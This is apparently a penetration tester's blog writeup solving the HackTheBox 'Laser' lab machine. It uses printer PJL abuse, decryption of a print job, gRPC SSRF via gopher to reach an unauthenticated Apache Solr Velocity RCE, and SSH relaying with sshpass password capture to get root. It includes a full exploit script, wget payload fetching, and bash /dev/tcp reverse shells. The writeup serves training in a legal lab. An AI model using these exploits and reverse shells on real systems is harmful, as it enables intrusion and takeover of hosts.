Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Laser - Writeup

OS: Linux
Release Date: 08/08/2020 19:00 PM
Points: 50
Difficulty: Hard
Last modified: 05/16/2024 17:09 PM + Give Respect

First enumeration:
$ nmap -A -T4 -p-
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open cslistener?
9100/tcp open jetdirect?
The nmap output is quite short: We got a ssh port and two ports, where nmap could not fully decide, what service is listening on this port. Doing some research on port 9100 we find out, that it might be related to network printers. The box name is also somehow a hint. Doing some further research, we find a Printer Exploitation Toolkit, which can interact with the printer. Doing some trial and error, we manage to get some output using the pjl mode and execute some basic commands:
$ python2 pret.py pjl
Connection to established
Device: LaserCorp LaserJet 4ML

Welcome to the pret shell. Type help or ? to list commands.>$ ls
d - pjl>$ cd pjl/jobs/>$ ls
- 172199 queued>$ get queued
172199 bytes received.>$ exit
$ file queued && head -c 20 queued
queued: ASCII text, with very long lines, with CRLF line terminators
The printer's filesystem contains only one file which seems to be base64 encoded. Decoding it doesn't give us much, as the file is encrypted, which we can check using the env command in PRET:>$ env
So we are looking for a key and an IV. The key can be easily retrieved by dumping the nvram:>$ nvram dump
Analyzing the encrypted file, we notice, that the size does not fit with the block size of 16 bytes:
$ python
>>> import base64, struct
>>> data = open("queued","rb").read().strip()
>>> data = data[2:len(data)-1] # strip of b''
>>> data = base64.b64decode(data)
>>> len(data) % 16
If we have a closer look at the first 8 bytes and the length of the rest, we can guess, that the first 8 bytes indicate the length of the document:
$ python
>>> struct.unpack(">Q", data[0:8])
>>> len(data[8:])
Assuming the IV is prepended to the ciphertext we are able to decrypt it and save it to a file with the following python script:
from Crypto.Cipher import AES
import base64
import struct

data = open('queued','rb').read().strip()
data = data[2:len(data)-1] # strip of b''
data = base64.b64decode(data)
size, iv, ciphertext = (data[0:8],data[8:24],data[24:])
key = b'13vu94r6643rv19u'
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
The file command tells us, the decrypted document is a PDF so we can open it with our desired PDF viewer. It contains a description of a service which seems to be running on port 9000. We have to read the PDF carefully as it contains many hints and descriptions for the next service:
  • Protocol Buffers + gRPC + service_pb2: protobuf2 is used.
  • Service: Print, Method: Feed, Parameter: Content, Returns: Data
  • Content Message has an attribute data, Data message has an attribute feed
  • Input data is a json object with various fields
  • Data gets unpickled => Python's pickle module is used.
  • No builtins are in use: Code Injection is probably not possible.
  • staging core, will help us later ;)
For the next step, we try to build a client, which can successfully communicate with the service on port 9000. Using the info above, we first create a .proto file, which holds the protocol definition:
syntax = "proto2";

service Print {
  rpc Feed(Content) returns (Data) {}

message Content {
  required string data = 1;

message Data {
  required string feed = 1;
To generate python code we issue the following command. If the module is not found, install grpcio-tools via python's package installer pip.
$ python -m grpc_tools.protoc -I . service.proto --python_out=. --grpc_python_out=.
The tool should have created 2 files for us: service_pb2.py and service_pb2_grpc.py. We will need them both for our next python script:
#!/usr/bin/env python

import grpc
import json
import base64
import pickle
import subprocess
import service_pb2
import service_pb2_grpc
import urllib.parse

channel = grpc.insecure_channel('')
stub = service_pb2_grpc.PrintStub(channel)
obj = { ... } # json object taken from the pdf
payload = base64.b64encode(pickle.dumps(json.dumps(obj))).decode("UTF-8")
data = stub.Feed(service_pb2.Content(data=payload))
We can see, that the communications with the gRPC service works by running the script. We get a weird error though, which says, that it can't connect to the host set either in the home_page_url or in the feed_url field:
$ python exploit.py
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
status = StatusCode.UNKNOWN
details = "Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')"
debug_error_string = "{"created":"@1598542319.613120233","description":"Error received from peer ipv4:","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')","grpc_status":2}">
When leaving out the feed_url field, we get a different error message which indicates, that this field (and only this field actually) is relevant:
$ python exploit.py
"grpc_message":"Exception calling application: 'feed_url'"
Next we will do some enumeration. Because we have control over the address, the server connects to, we can try to do an internal port scan using the following python code:
#!/usr/bin/env python
for i in range(1,65536):
        feed = getFeed("http://localhost:%d" % i)
        print("[+] Found port:", i)
    except grpc._channel._InactiveRpcError as e:
        msg = "Exception calling application: (7, 'Failed to connect to localhost port %d: Connection refused')" % i
        if msg != e.details():
          print("[-] Exception for port %d:" % i)
Our scan reveals an open port which is only bound locally: 8983. After some research on this port we can say, that the service behind it is most likely Apache Solr. The problem is: we don't get any output from our requests so the next steps will require alot of guessing. After some further research, we find an exploit for a vulnerable version of this service, which got published in November 2019, so not too old. The exploit consists basically of three steps, assumed that it doesn't require authentication and it really runs a vulnerable version of Apache Solr:
  1. GET /admin/cores: Get the names of all configured cores
  2. POST /core/<corename>/config: Upload some vulnerable config (json object)
  3. GET /core/<corename>/select: Trigger a command to be executed
To comprehend the specific requests sent by the exploit script, I recommend setting up a local vulnerable version of Apache Solr and capture the requests using wireshark. For our exploit, we won't need the first request, as we assume the core's name to be staging and we wouldn't get output anyway. The 3rd get request is trivial to make, the exciting part is the 2nd request. If we put the URL only, the server code would make an GET request without a body. That's where we make use gopher: It sends data specified in the URL as TCP payload. So we need a url in the form of gopher://localhost:8983/_POST.... It's important to mention, that gopher skips the first byte after the slash. Our python code for the POST request looks like this:
def createPost(host, uri, headers, data):
    lines = ["POST %s HTTP/1.1" % uri]

    if data and "Content-Length" not in headers:
        headers["Content-Length"] = len(data) + 2 # Gopher sends an additional \r\n at the end

    # Add "Host" to the beginning
    if "Host" not in headers:
        new_headers = { "Host": host }
        headers = new_headers

    for key, val in headers.items():
        lines.append("%s: %s" % (key, val))


    lines = "\r\n".join(lines)
    lines = urllib.parse.quote(lines)
    return "gopher://%s/_%s" % (host, lines)
solr_host = "localhost:8983"
core_name = "staging"
uri = "/solr/%s/config" % core_name
headers = { "Connection": "close", "Accept-Encoding": "gzip, deflate", "Acccept" : "*/*", "Content-Type": "application/json" }
data = json.dumps({
  "update-queryresponsewriter": {
    "name": "velocity", 
    "startup": "lazy", 
    "params.resource.loader.enabled": "true", 
    "template.base.dir": "", 
    "solr.resource.loader.enabled": "true", 
    "class": "solr.VelocityResponseWriter"
postRequest = createPost(solr_host, uri, headers, data)

print("[+] Stage 1: POST %s" % uri)
Now to trigger our exploit, we first execute a wget and then a bash command to establish a reverse shell. Of course, we need to spin up a temporary web server hosting our reverse shell file and a netcat listener for the reverse shell:
bash -i >& /dev/tcp/ 0>&1
exploit.py continuation:
def executeCommand(command):
    command = urllib.parse.quote(command)
    url = "http://%s/solr/%s/" % (solr_host, core_name)
    url += "select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + command + "%27))+$ex.waitFor()"
    print("[+] Stage 2: Triggering exploit")

executeCommand("wget -O /tmp/exploit.sh")
executeCommand("bash /tmp/exploit.sh")

We should get a connection back and have access to the user flag:

$ nc -lvvp 4444
Connection from
bash: cannot set terminal process group (1092): Inappropriate ioctl for device
bash: no job control in this shell
solr@laser:/opt/solr/server$ cat /home/solr/user.txt

For the root part, we first want to get a stable shell, so putting our public key into /var/solr/.ssh/authorized_keys. Next we will need pspy64 to scan for running and repeating commands on the server.
solr@laser:/tmp$ pspy64
2020/08/29 13:16:01 CMD: UID=0 PID=3077 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /root/clear.sh root@
2020/08/29 13:16:01 CMD: UID=0 PID=3078 | scp /root/clear.sh root@
2020/08/29 13:16:01 CMD: UID=0 PID=3079 | /usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes -oRemoteCommand=none -oRequestTTY=no -l root -- scp -t /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3080 | /usr/sbin/sshd -R
2020/08/29 13:16:01 CMD: UID=105 PID=3081 | sshd: root [net]
2020/08/29 13:16:01 CMD: UID=0 PID=3098 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz ssh root@ /tmp/clear.sh
2020/08/29 13:16:01 CMD: UID=0 PID=3099 | ssh root@ /tmp/clear.sh
We can see, that the server copies some files using scp and then executing /tmp/clear.sh on the remote server, which is a docker instance running in the internal subnet. For authentication a tool called sshpass is used, but the displayed password doesn't work for us. Reading the manual it says: Sshpass makes a minimal attempt to hide the password, but such attempts are doomed to create race conditions without actually solving the problem.. So we just have to be lucky, that pspy wins the race condition, and indeed, running the tool again prints the password after some time:
solr@laser:/tmp$ pspy64 | grep sshpass
2020/08/29 13:22:16 CMD: UID=0 PID=7869 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/graphql-feed root@
2020/08/29 13:22:16 CMD: UID=0 PID=7909 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/jenkins-feed root@
2020/08/29 13:22:16 CMD: UID=0 PID=7910 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/jenkins-feed root@
2020/08/29 13:22:16 CMD: UID=0 PID=7928 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/dashboard-feed root@
2020/08/29 13:22:16 CMD: UID=0 PID=7947 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@
2020/08/29 13:22:16 CMD: UID=0 PID=7948 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@
2020/08/29 13:22:17 CMD: UID=0 PID=7966 | sshpass -p c413d115b3d87664499624e7826d8c5a scp /opt/updates/files/postgres-feed root@
Logging into the docker as root we find nothing really interesting but the ssh_config used on the main host reveals something important and insecure:
solr@laser:/tmp$ grep "^[^#;]" /etc/ssh/ssh_config
Include /etc/ssh/ssh_config.d/*.conf
Host *
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
StrictHostKeyChecking no
The config file tells us, that host key caching is disabled, which means, the server does not check, whether the server, it believes to connect to, is the intended one. As we have root access to the docker instance, and the server repeatedly connects to it and executes a file, we can trick the server into executing our file on itself. First we create a malicious script in the tmp directory and make it readonly (just to be sure, it doesn't get overridden):
solr@laser:/tmp$ echo 'bash -i >& /dev/tcp/ 0>&1' > /tmp/clear.sh
solr@laser:/tmp$ chmod 555 /tmp/clear.sh
Next we kill the listening ssh service and create a pipe to forward the ssh traffic back to the server itself:
solr@laser:/tmp$ ssh root@
root@'s password: c413d115b3d87664499624e7826d8c5a
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
root@20e3289bc183:~$ kill -8 $(ps aux | grep -i ssh | head -n 1 | awk '{print $2}')
root@20e3289bc183:~$ mkfifo /tmp/backpipe
root@20e3289bc183:~$ while true; do /tmp/nc -l 22 0</tmp/backpipe | /tmp/nc 22 1>/tmp/backpipe; done
After some time, the ssh connection to the docker host should be interrupted (as the docker instance resets), and we should get a connection back in our netcat listener:
$ nc -lvvp 4444
Listening on any address 4444 (krb524)
Connection from
bash: cannot set terminal process group (24818): Inappropriate ioctl for device
bash: no job control in this shell
root@laser:~$ cat /root/root.txt

In this machine, we recovered a printed file and managed to exploit a service completely blind without getting any response like banners or versions. Also, we noticed, why host key caching is needed, especially for automated scripts.